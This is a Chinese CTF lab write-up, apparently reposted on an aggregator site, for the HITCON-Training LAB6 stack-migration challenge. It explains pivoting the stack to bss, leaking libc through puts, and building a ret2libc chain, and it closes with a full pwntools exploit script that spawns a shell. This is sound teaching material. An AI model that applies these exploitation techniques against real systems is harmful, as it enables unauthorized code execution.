[栈迁移]stackoverflow:HITCON-Training LAB6
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[栈迁移]stackoverflow:HITCON-Training LAB6相关的知识,希望对你有一定的参考价值。
文章目录
题目链接:https://github.com/scwuaptx/HITCON-Training
1、checksec
二进制文件是32位,开启了NX保护,RELRO为Full RELRO,开启该保护机制后,符号在编译时就全部被解析,它不会主动调用_dl_runtime_reslove函数,可有效防护got hijacking等攻击方式。
2、IDA反编译
使用IDA查看反编译的代码:
int __cdecl main(int argc, const char **argv, const char **envp)
char buf[40]; // [esp+0h] [ebp-28h] BYREF
if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, buf, 0x40u);
3、解题思路
程序中,首先判断count值是否为1337,不等于就直接退出。IDA中双击count这个变量,看到这个值在data段,是0x539,正好是1337。而后count值加1,说明栈溢出的return addr不能是main函数的首地址。接着输出一句话,再读入数据。读入的数据是0x40h,buf缓冲为40,即0x28,两者的差值是0x18,这个值比较小,对32位的二进制程序来说,除了old ebp,只有5个格子的栈空间可以利用。这5个格子的空间来构造rop链,很难拿到shell,在这种情况下,本题主要采用的栈迁移的方式,来增加布局rop链的空间。
因此,本题首先将栈迁移到bss段,而后则按ret2libc的方法构造rop链。
3.1、栈迁移
栈迁移的目标是从stack迁移到bss段,通过size migration可以查看到bss段只占了8个字节:
这就很容易产生疑问,为什么迁移到8个字节大小的bss段后,反而具有了更大的布局空间?
可以在gdb调试中通过vmmap来查看:
从0x0804a000到0x0804b000的属性是rw,可读可写不可执行,这个区域包含了.data段和.bss段且.data段在更低的地址空间,为了在栈迁移时避免破坏.data和.bss段中的数据,通常迁移的位置是.bss段的首地址加上一个偏移,这个位置已经超过了远bss段的end位置,严格的说不能称之为bss段,但仍然可以读写数据。
迁移的目标是bss+0x500的位置,该位置不会破坏.bss和.data段的数据,也不会与其他段交叠。
3.2 第一次payload(迁移到bss)
栈迁移的payload为:
payload='a'*0x28 + p32(bss+0x500) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss+0x500) + p32(0x100)
main函数调用返回时,会执行leave和ret两条汇编指令:
leave相当于mov esp, ebp; pop ebp;
ret相当于pop eip;
两条指令用于从当前函数(callee)的栈空间恢复到调用函数(caller)的栈空间,通过上面缓冲区溢出的栈布局,就能利用这两条汇编指令实现栈迁移。
下面看一下执行两条指令时,esp、ebp和eip的变化
- leave指令。执行mov esp,ebp;后,esp和ebp均指向stack上bss+0x500的位置;执行pop ebp;后,ebp指向bss+0x500指向的实际地址,esp向上退一格到read_plt的位置。
- ret指令。执行pop eip;后eip指向read_plt,esp指向stack中leave_ret的位置。
此时,stack和bss的布局为:
3.3 第二次payload(puts泄露)
接上图,程序执行处于read_plt弹出到eip后,esp指向leave_ret的位置。程序执行read操作,读入的位置是bss+0x500,长度为0x100字节。送入的第二次payload为:
payload = p32(bss+0x400) + p32(puts_plt) + p32(pop1ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss+0x400)+ p32(0x100)
这部分payload直接读入bss+0x500指向的内存空间,返回到leave_ret执行,这个过程跟main返回时执行的两条语句一样,esp和ebp的变化为:
- leave指令。执行mov esp,ebp;后,esp和ebp均指向bss+0x500的位置;执行pop ebp;后,ebp指向bss+0x400指向的实际地址,esp向上退一格到puts_plt的位置。
- ret指令。执行pop eip;后,eip指向puts_plt,esp指向bss中pop1_ret的位置。
接着,我们来看eip指向puts_plt后的执行过程,由于之前调用过puts,此时got表中对应的表项已指向libc
中的真实地址,将参数设置为puts_got,就能泄露puts函数在libc中的真实地址,得到真实地址后,就能够计算出system、/bin/sh等资源的地址。
执行完puts函数后,eip指向pop1 ret,该gagdet执行一次pop后再把read_plt pop到eip,执行read函数,此时,会送入第三次payload,长度为0x100,目标地址为bss+0x400。
3.4 第三、四次payload(getshell)
当前的上下文是eip指向read_plt,需送入第三次payload,并利用这次payload摆上system和/bin/sh的getshell组合。
payload = p32(bss+0x500) + p32(read_plt) + p32(pop3ret) + p32(0) + p32(bss+0x500) + p32(0x100)
payload += p32(system_add) + 'bbbb' + p32(bss+0x500)
read函数向bss+0x400写入数据后,执行leave_ret,esp和ebp的变化为:
- leave指令。执行mov esp,ebp;后,esp和ebp均指向bss+0x400的位置;执行pop ebp;后,ebp指向bss+0x500指向的实际地址,esp向上退一格到read_plt的位置。
- ret指令。执行pop eip;后,eip指向read_plt,esp指向bss中pop3_ret的位置。
read函数执行时,需要送入第四次payload:
p.send("/bin/sh\\0")
第四次payload送入的位置又回到了bss+0x500。执行三次pop和ret后,eip指向system_addr,此时,其参数bss_0x500已摆好了/bin/sh,此时的布局为:
4 exp
#!/usr/bin/env python
from pwn import*
context.log_level="debug"
p = process('./migration')
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./migration')
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
pop1ret = 0x804836d
pop3ret = 0x8048569
leave_ret = 0x08048418
puts_lib = lib.symbols['puts']
system_lib = lib.symbols['system']
p.recv()
log.info("*********************change stack_space*********************")
junk = 'a'*0x28
payload = junk + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)
p.send(payload)
log.info("*********************leak libc memory address*********************")
payload1 = p32(buf2) + p32(puts_plt) + p32(pop1ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload1 += p32(0) + p32(buf2) + p32(0x100)
p.send(payload1)
puts_add = u32(p.recv(4))
lib_base = puts_add - puts_lib
print "libc base address-->[%s]"%hex(lib_base)
system_add = lib_base + system_lib
print "system address -->[%s]"%hex(system_add)
log.info("*********************write binsh*********************")
payload3= p32(buf) + p32(read_plt) + p32(pop3ret) + p32(0) + p32(buf) + p32(0x100) + p32(system_add) + 'bbbb' + p32(buf)
p.send(payload3)
p.send("/bin/sh\\0")
p.interactive()
以上是关于[栈迁移]stackoverflow:HITCON-Training LAB6的主要内容,如果未能解决你的问题,请参考以下文章